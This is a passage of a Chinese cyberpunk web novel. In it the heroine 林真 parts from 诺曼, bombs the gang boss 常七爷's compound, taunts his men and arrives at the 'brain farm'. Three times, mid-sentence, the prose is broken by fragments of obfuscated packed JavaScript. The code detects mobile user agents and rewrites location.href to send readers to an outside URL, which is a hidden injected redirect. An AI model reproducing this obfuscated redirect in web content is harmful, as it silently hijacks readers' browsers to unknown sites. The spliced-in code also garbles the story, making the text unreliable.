他们一动不动地看着彼此,从对方的眉眼里读出安静的笑意。 直到提灯用完最后一点电量,骤然熄灭。手术室里,莫恕翻了个身,“咚”地摔下手术台,发出一声杀猪般的惨叫。二楼的小孩子们被吵醒了,开始“唧唧呱呱”地说话。 林真和诺曼对视着,终于忍不住一齐笑出声来。 他们在这座安全屋里一待就是五天。 外头,“野人”在庆祝表演赛上被“祭品”反杀的消息越来越膨胀,对那个B级“祭品”的悬赏也越来越高。听说谁能抓到她,就能从常七爷那里得到一笔不菲的赏金,甚至一步登天,成为常七爷手下的红人。 “你今天值八万信用点了。”莫恕风风火火地提着大包小包进门,朝林真喊,“还有安恬,四万。” 他的话音还没落,小孩子们一拥而上,踮着脚去够他手里的购物袋。 “我的亲娘哎,你们可真是小饿死鬼投胎——” 耗子扒住购物袋的边缘,掏出一根草莓味的营养剂,仰头问:“饿死鬼好吃吗?草莓味的吗?” ‘……好吃!“莫恕放弃了,松开手,给小孩子们一人发了一根营养剂,转头对林真哭诉:“养不起啊,姐!真的养不起。” “我身上的钱都给你了。”林真停下跑圈,无奈地摊开手,“那可是我和诺曼上次在荒野赚的钱。” 莫恕对着坐在床垫上的诺曼努努嘴。 “那位大爷身上才不止两万块钱。你算算,一个崽子一天三管草莓味营养剂,三天就是九百点,一个月就是九千点,一年就是……” “十万八千点。”诺曼抬起头,从夹克兜里翻出一张芯片,手指一弹,“地鼠李的,他的老窝归你了。 莫恕一把接住芯片,狠狠亲了一口,“诺曼,你简直是我亲哥!” “我是你爹。” “爹!” “滚!” 35. 篝火(三) 夜色又落下来。 轿车像一个幽灵,悄无声息地开到五区的边界。 莫恕熄了火,从驾驶座上回过头来,气急败坏道: “你们俩就非要在这个时候往外跑?诺曼你每年这时候来一次就算了,干什么非要带她啊?她都十万信用点了!” 轿车后座上,林真扎起头发,带上兜帽,安慰道:“我觉得没问题的,一路过来都没有看到其他人。” 莫恕似乎又咕哝了两句什么,可林真没听清。她几乎是迫不及待地推开车门,跳下车。 荒野的风吹来,她感觉自己浑身的肌肉都在呼吸。 时间过得飞快,她来到这个世界已经要一个月了。马上又要到十五了,周围的废墟里盛满了水银似的月光。 另一侧,诺曼也下了车。他的右腿还没有好全,走路比平时慢了些,但也没有发出任何声响。 他来到林真身旁,示意她跟上。 他们一直走,直到一道钢铁围栏出现在远处。 这围栏有好几层楼那么高。围栏顶上,每隔一米就有一盏蓝色的小灯。灯光以一种奇怪的频率闪烁着,似乎带着某种规律。 “不要看那些灯。”诺曼从头发里拉出接线,递给她。 林真将接线接入自己的脑机接口。 “这是什么地方?对面是什么?”她问道。 “这是五区和四区的围栏,有针对大脑的磁场。我们先走两步试试,不舒服就告诉我。” 林真迈开脚步。她感到轻微的头晕,和碰到居民区的围墙时很像。可下一秒,脑机接口处传来一阵清凉的感觉,眩晕感就消失了。 她心知这是诺曼的能力,是他翻越居民区围墙的倚仗。 她抬手做了一个没问题的手势。 诺曼点点头,拉起她的手,带着她向围栏走去。 围栏后是一片各色的光点。让林真想起上辈子,夜里坐船经过一座小岛。岛上的房屋被夜色模糊,只有家家户户的灯光,连成一片,就像眼前这样。 “那就是四区?”她轻声问。 “对,四区。” 诺曼在围栏前十米左右的地方停下脚步。 “今天就到这儿吧。” “因为带着我吗?” “不,腿还没好透。” 他们在地上坐下,望着围栏那头星星点点的灯火。 过了一会儿,林真开口问道:“你为什么每年都要来这里?” “还记得我说过的弟弟吗?” 林真点头。那个养了白化老鼠的、跟着“希望之星”去了上层区的陆小舟。 “我和他约好了,每年这个时候,他会来。他会在围栏那边,我在五区这边。我们会见一面。” 夜色越来越深,远处的灯光一片片熄灭,最后只剩下零星的光点。 月亮爬上中天,银色的金字塔静静俯瞰地上的人。也许是月亮太亮的缘故,天上没有一颗星星。 夜色寂寥。 荒野里,只有他们两人。 林真向左靠了靠,倚上诺曼的肩膀,轻声问:“他没有来,是吗?” “是,他一直没有来。” 从五区出去的人还会回来吗? 至少在过去的十八年,林真从没见过回来的人。 “希望之星”就像一场隆重的欢送仪式。被选上的孩子们在五月节的烟花里登上列车,给家里留下丰厚的奖金。居民区的所有人围在五月广场上,仰着头,像是在目送神祇白日飞升,回归天庭。 从此,天上人间,他们再不相见。 也许是规定不许他们回来,也许是手续繁琐。 也许,五区和四区之间的距离,又不止一道围栏。人在往上走的时候,不会回头看身后的楼梯井。去了上层区的人,也不会回到他们长大的地方。 曾经的林真想过,如果她去了上层区,她一定会每个月给姐姐寄钱、写信,但唯独没有想过回来。 因为她也觉得自己不会再回来。 他们都不愿意回来。 “可我不相信。”诺曼突然开口,“我混进过农场很多次,但我找不到他们去了哪里。没有任何记录。如果五区有人知道小舟的去处,那只可能是农场的最高管理者了。可我见不到他。他身边安保严密,每年只会在发车典礼上出现一次。” 林真了然。她已经拿回了原主的芯片,那个写着B级大脑的芯片。 “希望之星”的车票一直在她的账户里。最近,那张虚拟票面上开始出现倒计时。还有两天,就是五月十五,”希望之星“发车的日子。 她有时候在夜里惊醒,就盯着那个倒计时发呆。 和曾经的林真不同,她没有对上层区的渴望。或者说,她有另一种渴望。 她抬头,看向诺曼。 诺曼也正看着她。 林真想,如果要接近最高管理者,她只需要混在人群里,参加发车典礼就够了。她正要开口,就听到诺曼说: “林真,你不能一直待在五区。” 林真故作轻松道: “虽然我是十万信用点小姐,拳台的无冕之王,常七爷必吃榜第一名,但你也不用那么悲观,说不定我能苟到一百万呢。” “不。”诺曼正色道,“你不应该像我一样,在安全屋里也要带面罩。” “如果一起带面罩,也不是不能接受。” 诺曼和她一起笑了。笑声拉扯到伤口,他咳嗽起来。 他没有再说话,可沉默已经是一种态度。 林真移开目光,坐直了身子,望向四区。 良久之后,她说:“我会去的。” 她妥协了。 诺曼心里一痛:“如果你以后碰见一个叫陆小舟的男孩,帮我看看他过得好不好。” “那可是上层区,他一定过得很好。我也会在上层区过得很好。” “……我知道。” “我会一天三顿大鱼大肉,再也不用喝营养剂,我会过得很好。” “我知道。” 他们都沉默了,然后几乎同时站起身,开始往回走。 既然决定了要分开,再多说,就像是挽留了。 废墟挡住了月光,夜风一下子变冷。诺曼突然捉住林真的手腕。 “林真,我不是——” 林真没有回头:“我知道。你要找你弟弟也好,要让我活下去也好,你做了决定。我懂。我也做了决定。就是这样。” 可诺曼没有松手,他握得更紧了。 林真点了点自己的太阳穴:“还有大脑病毒呢,放心,保证完成任务的。” 她话音刚落,就被拉入了一个怀抱。 “那不是大脑病毒,我骗你的,只是一个定位。你可以随时取消它。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068147|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “是吗?那你很会骗人了,诺曼。” “还有窃听,没有别的了。我现在就取消它!”诺曼拉起她的手,按在脑机接口上。 林真反握住他的手,拉开。 “用不着。等我离开五区,就出了有效距离了,不差这两天。说起来,被你窃听了这么久,我总得要点补偿吧。” “你要什么?” “我要你的名字。Noman不是一个名字,我不想以后和别人说起的时候,说我的朋友是‘没有人’,太给我丢脸了。” 她心里不爽利,嘴上也不客气:“你弟弟叫陆小舟,那你是不是叫陆大船?” 诺曼笑了。热气透过面罩,打在她的皮肤上,然后一路蔓延到耳边。 林真听见他说: “林真,我做了错事,不配有名字。” “但只要你呼唤我,我一定会回应。” “任何时候。” 林真揉了揉耳朵,呼出一口气,“那你等到地老天荒去吧。” 黑色轿车里,莫恕打着瞌睡,一抬眼就看到两人一前一后回来,赶紧打开车门。 “莫恕,我要很多枪,大枪。”林真一上车就说,“还要一辆车。” “祖宗哎,你俩又要干啥?” 诺曼解下手上的终端,扔给莫恕:“不管她要什么,你弄来就是了。” 莫恕拿着终端,不可置信地看了一眼诺曼。 诺曼这家伙仗着能伪装,这么多年在黑街偷偷摸摸干了好多大生意,什么黑吃黑,挑动黑吃黑然后坐收渔利,策划三方互相背叛然后一网打尽。 这是一个老式终端吗?这是他亲爹的一座金山! 他从后视镜中偷偷瞥了一眼。 后座的两人神色如常。 诺曼带着面罩,看不出表情。林真冲他露出一个微笑。 莫恕抖了一下,百分百确定有什么大事发生了。要是没有,他莫恕明早就去诺曼的安全屋里吊死。 黑街的中心,常七爷的地盘,三楼。 药师穿着白色的浴衣,趴伏在地上,曲线尽显。 常七爷坐在椅子上,神情玩味:“药师,你说说,我凭什么放了你呢?你害得我损失那么大,半管大脑稳定剂,一个新拳王,还有一整晚的赌资——” 他每说一句,药师的身体就抖一下。 “啊,对了,还有两个B级的脑子。其中一个,以后说不定会比绿曼巴还厉害。你说,我凭什么放了你?” 药师颤颤巍巍地抬起头,膝行几步:“我有一条消息。关于N的脑子。” 常七爷的尖头皮鞋踩在她的胸口,探进浴衣衣襟里:“接着说。” “N的脑子,”药师一咬牙,“能换一张前往四区的通行证!” 尖头皮鞋停住了,然后缓缓收回。常七爷站起身,走到药师面前,居高临下地看着她:“我凭什么相信你?” 药师的白瓷义眼突然翻转,露出一个樱花样的图像。 “我姓木下。我的父亲,是四区中枢科技的中级研究员。我们为了N的脑子,从四区来到五区。这个消息,够买我的命吗?” 常七爷端详了那个家徽很久。 “够不够,得等我挖出他的脑子才知道。” 他拍了拍手。 “海蛇,明天组织两个分队出来,还有,去武器库里给他们弄几条大枪。” 36. 农场(一) 黑街交易最热闹的时候就是晚上,更何况,“地鼠李”的老窝里有不少宝贝。不到一小时,莫恕就背着一大袋枪械炸药回来。他手一松,袋子“咚”的一声砸在地上。 屋子里,诺曼坐在床垫一角,身旁是正在休息的林真。 听到声音,他竖起一根手指,放在嘴唇前,另一只手虚挡在林真的眼睛上。 让她再睡一会儿,他示意。 可林真已经睁开眼睛。她的眼神清明,似乎根本没有睡着。 她握住诺曼的手腕,从床垫上坐起来,起身从莫恕手里接过袋子。 袋口一解开,匕首、手枪、弹匣、防弹衣,就像电影院的爆米花一样涌出来。 如果这是一部电影,那一定是R级的血浆片,林真想。 她半跪在地,双手交叉握住T恤下摆,从头上扯下来丢到床垫上,然后在吊带外直接套上防弹背心。 昏暗的灯光顺着她的手臂滑下,肌肉绷紧又放松,像是一幅油画。 诺曼已经勒着莫恕的脖子,避到墙角。 林真看着他的背影,嘴角微勾。 “安恬。”她冲着楼梯底下唤了一声。 安恬依旧寡言少语,但每天晚上睡觉的时候,都会往楼梯的方向挪几步。就这样,她从墙角慢慢挪到了楼梯脚,离收养院的孩子们越来越近。 林真冲她招手,“待会你和我走。” 安恬没有半个问题,安静地走过来,在她身旁蹲下,接过装备。 袋子里,最大的是一挺转轮连发式榴弹发射器。旋转弹仓比林真的大腿还要粗,可以装六发榴弹。造型冷酷硬朗,充满了力量感。 林真将发射器从包里拿出来,拉开折叠式的肩托,左手握住前握把,右手握住手柄,手臂用力,将发射器架上肩头。 发射器没有看起来重。林真用指尖在各处敲了敲。果然,除了枪管,其他地方都是铝合金。 她眯眼,瞄准地上的提灯。 灯光落进她的眼睛里,像是远行的彗星,要在远方点起燎原的火。 “真不错。”她心满意足地叹息道。 没有人能不爱力量。因为这世间,力量只和力量对话。而人活着,就必须要说话,要被听见。如此,有仇的方得报仇,有冤的才能伸冤。 她把玩了一会儿,突然想起什么,转头问安恬: “你会开车吗?” 安恬自然是不会的。 林真叹了一口气,依依不舍地把发射器递给安恬:“那只能我来开了,这个归你了。” 她的视线落在剩下的一排手枪上。 莫恕小跑过来,眉飞色舞地介绍道: “我这次搞来的都是稀罕货,绝对是大枪中的大枪,极品中的极品。你看这个,史密斯威森M460,我给你配马格南子弹,力速拉满!还有鲁格超级红鹰,重型左轮……” 诺曼从后面走上来,一巴掌拍在莫恕的脑袋上,打断了他的话: “这些的后坐力都太强,蠢货,你让她只开一枪吗?” 他走到林真身旁,一边解下自己的战术腰带。 林真会意地起身,让诺曼把腰带连着自己的配枪系在她的腰上,慢慢收紧。 “给我了?”她轻声问,“你知道我要去干什么?” 诺曼单膝跪在地上,用匕首小心地割断过长的腰带,闻言抬起头:“你可以悄悄离开黑街的,那样更安全。” “但我今晚很生气。” “所以我就是一说。”诺曼站起身,把身上的弹匣一一取出来,交给林真。 他打开最后一个弹匣,抽出一枚子弹,隔着面罩,在嘴唇的地方碰了一下,然后郑重地塞进林真胸前的口袋。 林真挑眉看他,“命运亲吻?” 诺曼帮她扣上口袋:“嗯。活着离开黑街。” 凌晨五点,夜色开始消退。霓虹灯熄灭,酒吧准备打烊。街道像退潮后的海滩,露出灰白的底色。扫街人把金属长刀擦得锃亮,静静等在幽深的巷子里。 常七爷的盘口,赌客们勾肩搭背地走出拳击场和赛狗场。醉醺醺的人群里,不时爆发小规模的械斗。 一个打手收拾完不识相的醉鬼,把手里的长刀往肩头一甩,对同伴道: “听说海蛇大人待会要挑人出任务,你去不去?” 同伴点起一根加了兴奋剂的烟,美美吸了一口,白了他一眼:“做什么梦呢,就我们俩?给人送菜去呢?” 打手不服气:“我听说那祭品也就是个刚成年的小丫头,肯定是走狗屎运,能有什么厉害的?” “不是那个祭品,”同伴压低了声音:“我听说是个叛徒,杀了绿曼巴大人。” 能杀了绿曼巴,就绝非寻常之辈。 打手想起那个可拍的女人,打了一个哆嗦。这时,他突然听到远处传来一阵引擎轰鸣声。 他抬眼望去,就看到一辆红色敞篷直冲过来,人群纷纷躲开。 “不知道这里不能飙车吗!找死啊!”打手举起刀,大喊。 驾驶座里,探出一把手枪,枪管细长。 只听“叮”的一声,打手的刀应声折断。 打手赶紧缩回手,抱头蹲下。 跑车一个甩尾,擦着他冲过,直奔拳击场。副驾驶座上的人站起身,肩膀上架起一挺榴弹发射器。 “轰”的一声,拳台的玻璃顶应声而碎。 火光腾起,半边屋顶塌陷,露出常七爷的VIP包厢。 紧接着,又是一声巨响。 包厢轰然炸开,水泥块向下坠落,瞬间压碎了拳台的钢化玻璃罩。 一截墨绿色的窗帘熊熊燃烧着,从空中飘落。 跑车绕拳击场一圈,将整栋建筑轰得摇摇欲坠。 打手和同伴终于反应过来:“抄家伙!叫人!叫武装卫队!” 跑车一个急转,擦着他飞驰而过,直奔赛狗场。 驾驶座上的人瞥了他一眼,神色轻蔑。 这个年纪,紫色马尾。 是那个祭品! 打手一下子反应过来。他喊不出声,哆嗦着从兜里摸出一只铝口哨,“哔哔”地吹起来。 远处,赛狗场的猎犬们在爆炸里出了笼。听见口哨声,呲着大牙,流着口水,红着眼睛朝他狂奔而来。 林真看了一眼反光镜:“蠢货。” 她突然发现这是诺曼的口头禅,嘴角一勾,手里方向盘用力一打。 既然常七爷不在拳台和赛狗场,她直奔最中间的黑色楼房。 “安恬,帮他们开个门。” 安恬已经重新上弹,眯眼瞄准。 黑色楼房一楼的大门轰然消失。 同时,林真停下车,闭上眼睛,默念“Escape”。 她看到紫色的脑子们快速聚集而来,在门后列队。那是常七爷手下的打手们。 往右边两个房间,她看到了海蛇青绿色的脑子,还有另外一个绿色的脑子。 在他们旁边,是常七爷青蓝色的脑子。 他们站在墙壁后,远远地避开大门,自以为安全无虞。 常七爷的据点,有着特殊加固的墙壁,轻易炸不开。这是诺曼说过的。但炸不开,不过是火力不够强。 林真拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077992|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一板C-4,用力扔向那个方向。 C-4在撞上墙壁的瞬间,轰然炸开。 她的手里,还在冒烟的枪口一指。 紧随其后,安恬清空了转轮里所有的炮弹,精准地打在同一点上。 “轰——轰——轰——轰——轰” 连续的炮击下,特别加固的墙壁终于被破开,钢筋断裂,尘土飞扬。 房间里,常七爷只看到一道火光扑面而来,就被巨大的冲击力瞬间震飞,狠狠撞在房间另一侧的墙壁上。他好不容易抬起头,就呕出一口血来。 隔着飞扬的烟尘,林真眯起眼睛,默念“Escape”。 她用左眼锁定住常七爷的脑子,手里的枪举起。 准心和常七爷的脑子逐渐重合。 她扣下扳机。 黑暗中,一道人影猛然跃起,挡在常七爷身前。 “砰!” 枪声响起,海蛇的胸口绽开一团血花,应声倒地。 尘埃落定。 穿过破开的墙壁,林真和常七爷对上了视线。 常七爷震惊之余,后退了一步。 林真再次抬起枪口。 这时,又一道人影冲出来,挡在常七爷身前。 那人穿着一袭熟悉的白色浴衣。 是药师。 林真的动作一滞。 就在此时,武装打手们终于集结完毕,举着枪向跑车冲来。弹雨打在跑车的引擎盖上,挡风玻璃炸开裂纹。 林真最后看了药师一眼,坐回座椅,右手快速换挡,踩下油门。 跑车急速后退,经过仍在燃烧的拳击场,原地一个掉头,冲进黑街的巷子。 身后,无数摩托和汽车像蜂群一样,从常七爷的据点里驶出,向她们追来。 枪声惊醒了整个黑街的醉鬼,他们醉眼迷离,只看到一辆跑车,如同一颗暗红的火星,疾驰而去。火光和爆炸紧随其后,将黑夜照得如同白昼。 跑车经过一条小巷。 一辆摩托从巷子里窜出。骑手”嗷嗷“叫着,弃了车,就向林真飞扑过来。 林真左手抓稳方向盘,右手扣动扳机。 骑手用陶瓷装甲硬生生接了一枪,一拳打碎车窗,攀住车门。 林真再要开枪,枪里却没有子弹了。她一枪托砸向骑手的鼻梁。 骑手的鼻子鲜血直流,可他龇着染血的大牙,神情狂热:“抓到你了!” 他伸手就来抢林真的方向盘。 跑车开始摇晃。 “安恬。”林真喊。 一枚刀片越过她,刺进骑手的右眼。骑手眼前一痛,下意识松开了方向盘。 林真眼神一凝,握住车门把手,用力一拉,然后五指张开,向外一推。 车门打开,狠狠撞上巷子的墙壁,打着转飞了出去。 林真刚松了半口气,瞬间被一股大力拉离座椅。 要不是安恬立刻反应过来,死死抓住她的武装腰带,她应该已经被拖下车去。 她看向抓住自己手臂的骑手。 骑手满脸是血,对她露出一个狞笑。他不求活命,只想把林真一起带下地狱。 “和我一起死吧!”他发疯般大笑。 可林真只是平静道: “做梦。” 骑手听到一个奇怪的词:“Escape。” 然后,他不由自主地松开了手,摔在地面上,滚了几圈,被后方的车队压过。 林真重新握住方向盘,控制住跑车,用力踩下油门。 跑车咆哮着加速,再次和打手们拉开距离。 37. 农场(二) 跑车的挡风玻璃已经碎完了,两侧的反光镜一个不剩,现在还少了一个车门,夜风呼啸着往里灌。 林真抓着方向盘,侧头对安恬喊:“你应该和孩子们说再见的。” 安恬大声回应:“再见没有意义。” “桃子在偷偷看你。” “她不应该看我。” 林真无奈:“安恬,你怕吗?” “我不会怕。”安恬站起身,轰出最后一发炮弹,将追上来的车队炸得人仰马翻,“但是我应该很高兴。林真,我觉得我应该很高兴。” 林真一掌拍在方向盘上。 跑车发出一声响亮的鸣笛。 “那就好!我也很高兴!”她大笑起来。 她们冲出黑街的边界,在废弃的高架上飞驰而过。栖息在废墟里的鸟群被跑车惊动,轰然飞起,在她们身后盘旋着,长鸣不息。 地平线在她们前方亮起,天空从白色变成浅红色。 跑车冲破居民区的关卡,一个急刹。 “反了天了!见鬼的黑街崽子!”值班室里的管理员站起身,破口大骂。 他正要拉警铃,就看见读卡器上,两盏绿灯亮起。 ——林真,B级,“希望之星”车票持有者。 ——安恬,B级,“希望之星”车票持有者。 他的眼睛瞪大,看了一眼读卡器,又看了一眼远处尾随而来的车队,吞了一口口水。 “希望之星”的名单在月初公布,“希望之星”列车在十五发车。这两周的时间里,出在黑街的“希望之星”,多半就悄悄被掏了脑子去。 那么多年,他从来没见过这样打上居民区来的,哆哆嗦嗦地按下紧急呼救按钮。 居民区大门外,改装摩托和轿车纷纷停下,乌压压一片。武装打手从车上跳下来,用手里的长刀狠狠击打着地面,冲着红色跑车大喊: “滚出来!” 跑车里,林真拉起手刹,松开马尾,把头靠在座椅上,缓缓呼出一口气。 她觉得心里的愤懑散去了一些,但是还不够,她还想再做些什么。 她不解地咬了咬食指关节,舔到腥咸的血味。 管理者把值班室的窗户拉开一条缝,催促她: “干什么呢?快跑啊!等着找死呢?” 可林真推开车门,在管理者不可置信的眼神里下了车。 跑车的后部已经被撞歪了,后备箱的盖子凹陷成一块。林真直接坐了上去,面对黑压压的打手们。 见她现身,所有轿车在空档狠狠踩下油门,摩托车也发出此起彼伏的轰鸣。打手们龇牙咧嘴,像一群被拴住的猎狗,吠叫着、挑衅着,偏偏不敢前进一寸。 这里毕竟是居民区,而且太阳升起来了。他们毕竟追了一晚上,伤亡惨重。 林真看着他们的样子,突然笑了。 “常老七在不在?”她朗声问。 车队分开,一个武装打手跳下摩托,高举着一台对讲机,走到车队最前面。 对讲机里,传出了常七爷咬牙切齿的声音: “林真……你很好!” 可他才说了几个字,就被粗重的喘气声打断。他听起来伤得非常重,再没有那天夜里的压迫感。 林真眉头一挑,心想,如果能在这里气死常老七,那诺曼、莫恕、还有收养院的孩子们,就能更安全一点。 只是这么一想,她的心里一下子舒坦了。她高声道: “我当然很好。常老七,你知道绿曼巴的死,也和我有关吗?和杀‘野人’一样,只要限制了她手上的刀,你手下的扛把子其实并不难杀呢。” 她的语速越来越快,眼睛发亮: “绿曼巴死了,海蛇也死了。拳击场毁了,赌场我给你炸了,赛狗我都放走了。大势已去啊,老七。辛辛苦苦一辈子,咣当一下全没啦!像我这种货色都能随便进,以后你常老七的地盘,我看是谁都可以进来踩一脚了。不行就早点退休吧,别丢人了,啊?” 她坐在跑车上,往后一靠,二郎腿一翘,大大方方面对无数把长刀和手枪,心里头一边觉得这临时座椅硌死个人,一边觉得自己帅到不行。 要是诺曼在这里就好了。 她说得兴起,拿起早就打空了的手枪,指向拿着对讲机的打手: “你看起来是个狠角色,想不想取代常老七呀?” 打手瞪大了眼睛,合金下颌“咔咔”作响,一个字都说不出来。 林真鄙夷地“啧”了一声:”让你上你不上,不想当老大的小弟就是炮灰,知不知道?算了,孬种一个。” 她的枪口接连扫过第一排的打手们。 “你呢?你?你?你呢?” 那些刚才叫得最狠的打手纷纷避开她的视线,低下头去。 “咔” 林真扣下扳机。 被指着的一个打手直接从摩托上摔了下来,一屁股坐在地上。 林真大笑出声,用枪口把落下来的头发拨回耳后:“拼一拼,单车变摩托,对不对?错过这个机会,我保证你们后悔一辈子!” “林真!”对讲机里传出常七爷的声音,带着怒气,“给我……给我去,杀了她!” 常七爷有理由愤怒。黑街上下,多少人对他的位置虎视眈眈。林真这是在动摇他的根基。 可他重伤在身,中气明显不足,反倒显得自己色厉内荏起来。 乌压压的车队里,枪口稀稀拉拉地抬起。打手们互相瞟着,眼神怀疑而犹豫。 一片僵持里,只能听到常七爷粗重的喘息声。 这时,安恬也下了车,安静地走到林真身旁。 林真抬头看着她笑:“我好像个反派哦。” 安恬歪了歪头,思考了一下,然后面无表情地抬起手,揉了揉林真的脑袋。 林真放松地靠在她手里,惋惜道:“看起来,今天可能气不死常老七了,好可惜哦。” “我去杀了他。”安恬开口。 “算啦。”林真抓住她的手腕,“发疯一次就够了,再去一次,就是作死了。有人不让我作死呢。” 她跳下跑车,对外头的打手们挥挥手,“各位,祝你们早日干掉常七爷,自己当老大啊——” 红色的跑车再次启动,向着大脑农场驶去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091136|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 天色已经大亮,金色的阳光洒在林真和安恬身上,也照亮了车座下密密麻麻的子弹壳。 安恬俯身抓起一把弹壳,然后一颗一颗地往车窗外扔,就像小孩子在火车上向外头吹蒲公英。 林真看了她一眼。 安恬依旧面无表情。 但林真就是知道,安恬现在很高兴,于是她也勾起嘴角。 前方,大脑农场在晨光中显现出来,如同一盏倒扣的瓷碗,静静地等待她们的到来。 林真的右手离开方向盘,摸了摸胸前的口袋。口袋里,子弹滚动了一下。 她的神色不自觉放松了。 “我走了,诺曼。”她轻声道,“你就是个蠢货,陆大船。” 黑街深处,莫恕安全屋的屋顶。塑料布被风吹动着,簌簌作响。 诺曼的膝盖上放着银色枪管的史密斯威森M460,身边散落着几盒尖头马格南子弹。他把子弹推进弹巢,又一颗一颗地卸下,上膛,又卸下,如此循环重复。 莫恕踩着梯子上来,看着他的背影,问道:“你要是这么担心林真,昨晚为什么不一起去啊?” 诺曼没有应声,只是手里的动作更快了些。 风越来越大。 东方亮起第一道天光,然后天色大亮。 突然,诺曼的手停住了。他把枪搁在腿上,抬头望向大脑农场的方向。 “再见,上层区来的骇客小姐。”他说。 他揭开了脸上的面罩,柔软的黑色金属挂在他的手掌上。 阳光下,他的嘴角勾起。 “再见,林真。” 现在是五月。 第五区一年有十一个月在下雨,除了五月。 这是“希望之星”发车的时候。 这是被命运亲吻的一个月,哪怕黑街的枪声,都会暂时停下。 这是最好的一个月。 那是他们最好的一个月。 林真在农场外停下车。一个穿着亮粉色蓬蓬裙、戴着夸张的亮粉色礼帽的女人迎了上来。她的帽子上装饰着粉色的薄纱,薄纱上还镶着小颗的水钻。 林真心动了。这一身得换多少草莓味的营养液啊。她有些眼馋。 粉红女士摇曳着裙摆,走到驾驶座旁,正要开口,就被血腥气和硝烟味呛地咳嗽起来。 她后退两步,优雅地抬起下巴,让自己的鼻子远离血腥味,语气高傲尖刻:“你们两个,不是居民区户口吗,怎么弄得和黑街的野蛮人一样?” 林真没有理睬她。 在漫长的一夜后,除了常老七的死讯,没有什么能牵动她的神经了。看看这位女士,弹壳落地的声音都能把她吓一跳,险些举手投降。 林真就当她是一朵粉色的大花。 自从来到五区,她还没有见到一朵花呢。安恬的解释是,花比草好吃,软乎乎的,还有一点点甜味,基本上露个头就被小孩子吃了。 林真跳下车,问道:“我们现在要去哪里?” “请叫我基蒂女士。”粉红女士道:“请跟我来。” 林真跟在基蒂女士身后,走进大脑农场。 38. 农场(三) 穿过大脑农场的入口,里头是一个巨大的环形中庭。 中庭正中央立着一根大圆柱,表面覆盖着LED显示屏。下半截播放着“希望之星”的宣传片,上半截滚动着今年车票持有者的面容。他们每一个都化了妆,打理了头发,脸色红润,眼神明亮,充满希望。 林真看了一晚上歪瓜裂枣、龇牙咧嘴的黑街打手们,顿时眼睛一亮。 再往上看,她的视线就被天花板挡住了。天花板上描着优美的金色花纹,像是花朵和卷草。 中庭四周是数层密密麻麻的房间。居民区的人们正沿着十几条螺旋楼梯走入那些房间,像是回巢的蚁群。 曾经,林雪也是这里的一员。她每天在这里工作六个小时,换来几十个信用点,然后换成饮用水和营养剂,带回她们的公寓。玛莎也是这里的一员,她一天工作十二个小时,养大了收养院的孩子们。 林真仰头看着他们,知道每一个人的身后,都是一个家庭。 这时,楼梯上的人也注意到了她。 “嗨,希望之星!” 一个青年趴在栏杆上,吹出一声响亮的口哨。旁边,一个中年人脱下帽子,带着欣慰的表情微微颔首;一名年轻女性看着她们,露出温和的笑。 如果林雪和玛莎在上面,她们一定也会露出这样的表情。 林真鼻子一酸,低下头。 基蒂女士已经走到柱子前,把右手放了上去。蓝色的光芒亮起,扫过她的手掌。 圆柱无声打开。这竟然是一部全景玻璃电梯。 “上来,快都上来。其他人上周就到了,我得抓紧时间,给你们好好准备一下。”基蒂女士催促着,伸手来拉安恬。 安恬向后缩了一下,身体绷紧。林真握住她的手,一边问:“我们要做什么准备?” “天啊,亲爱的,你怎么什么都不知道?”基蒂女士惊讶道,“你们要做很多准备,头发、指甲、皮肤状态、饮食结构,你们需要从头到脚都容光焕发,你们还需要新的衣服鞋子。只剩下一天了,我真不敢相信,你们怎么能磨蹭这么久?你们都不激动的吗?” 她语速飞快,说到激动处还用小高跟在地板上跺了一下。 林真招架不住她的热情,只得露出一个礼貌的微笑,敷衍道:“激动的。” 一旁,安恬听到她的话,配合地点点头。 基蒂女士叹息道:“你们真的不知道自己有多幸运,亲爱的。” 随着电梯爬升,林真看到周围房间的内部。 那些房间里,摆着一排又一排的座椅。座椅挨着很近,后一个人的膝盖能碰到前一个人的椅子背。居民区的人紧挨着坐着,每一个人的头上,都罩着一个黑色的半球形罩子,只露出鼻尖和嘴巴。 他们一动不动,像一排黑色的番茄。 “那就是农场?”林真问道。 “嗯哼?对呀,亲爱的,那就是农场。不过和你们没有关系啦,上层区没有农场。”基蒂女士甜蜜地笑着,突然,她惊叫一声,抓住林真的左手。 林真的右手瞬间按在了腰侧的枪套上。 安恬的指尖也闪过一抹寒光。 “天啊,天啊!这是什么?”基蒂女士抓着林真的胳膊,反复打量:“这是伤口?你怎么能有伤口。天啊,我得马上联系医疗部!” “一点小伤罢了。”林真收回手。 